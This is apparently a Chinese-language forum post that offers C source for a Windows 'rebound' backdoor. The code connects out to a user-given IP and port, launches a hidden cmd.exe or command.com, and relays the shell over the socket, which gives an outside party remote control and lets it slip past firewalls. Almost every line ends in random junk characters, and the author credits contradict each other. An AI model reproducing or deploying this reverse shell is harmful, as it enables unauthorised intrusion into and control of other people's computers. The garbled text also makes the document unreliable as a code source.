这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <~iA{sY)O
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/* ============================== $zD}hO9
Rebound port in Windows NT 2>h.K/pC
By wind,2006/7 lQl
===============================*/ DcX,o*ec!
#include B`/p[ U5
#include ,#hx%$f}d
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#pragma comment(lib,"wsock32.lib") $94l('B6H
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void OutputShell(); L%5g]=
SOCKET sClient; }1?
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /5r!Fhx
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void main(int argc,char **argv) I1fUV72
{ e> Q_&6L
WSADATA stWsaData; M'}iIO`L
int nRet; 3}V-'!
SOCKADDR_IN stSaiClient,stSaiServer; cRS2v--\-
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if(argc != 3) (C60HbL
{ zMbz_22*
printf("Useage:\n\rRebound DestIP DestPort\n"); U9%#(T$
return; ofHe8a8
} 4t< mX
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WSAStartup(MAKEWORD(2,2),&stWsaData); +5oK91o[y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fpckb18}(O
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stSaiClient.sin_family = AF_INET; k \V6q9*
stSaiClient.sin_port = htons(0); V^E.9fs,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *WK0dn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6rg?0\A<
{ " twq#Alx
printf("Bind Socket Failed!\n"); \K%A}gnHe
return; >q^l
}
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stSaiServer.sin_family = AF_INET; %eQw\o,a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `AcT}.u
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W=ar&O~}n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VtzX I2.2
{ *Rj(~Q/t
printf("Connect Error!"); sJB::6+1(|
return; >uVr;,=y
} 1Aw/-FxJ
OutputShell(); #azD&6`
} 2#t35fU
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void OutputShell() :Miri_l
{ 9Netnzv%
char szBuff[1024]; 2}8xY:|@(U
SECURITY_ATTRIBUTES stSecurityAttributes; 3+d_5l;m)
OSVERSIONINFO stOsversionInfo; s6.#uT7h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _7Rp.)[&
STARTUPINFO stStartupInfo; t182&gpd`
char *szShell; p7eRAQ\'
PROCESS_INFORMATION stProcessInformation; NZ=`iA8)X
unsigned long lBytesRead; 8nQjD<-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jce^Xf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d/!R;,^
stSecurityAttributes.lpSecurityDescriptor = 0; |A% Jx__
stSecurityAttributes.bInheritHandle = TRUE; 'v:%} qMv
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mOE%:xq9-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ed +"F{!eQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b%"Lwqdr7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TX7]$Wj
stStartupInfo.wShowWindow = SW_HIDE; Cp[
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stStartupInfo.hStdInput = hReadPipe; j&
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6|AD]/t^K
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GetVersionEx(&stOsversionInfo); mH\eJ
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switch(stOsversionInfo.dwPlatformId) eV)'@8p
{ QM'Db`B
case 1: 2!E@Gbhm5
szShell = "command.com"; E"[h20`\/
break; ubZcpqm?Q
default: #CY Dh8X<i
szShell = "cmd.exe"; d]<S/D'i
break; LCf)b>C*
} /swNhDQ"o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?OFl9%\ V
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send(sClient,szMsg,77,0); !=yNj6_f
while(1) 4A@77#:J5
{ /yn%0Wish
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !&b
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if(lBytesRead) .,$<waGD
{ 'g7eN@Wh.z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1?j['~aE
send(sClient,szBuff,lBytesRead,0); @x@*=
} Fo@cz"%
else <JNiW8 PG
{ jt? .g'
lBytesRead=recv(sClient,szBuff,1024,0); n%Df6zQ<@s
if(lBytesRead<=0) break; l6O8:XI
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vim*4^[#L
} @#CZ7~Hn
} 8BgHoQ*
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return; 1{pU:/_W
}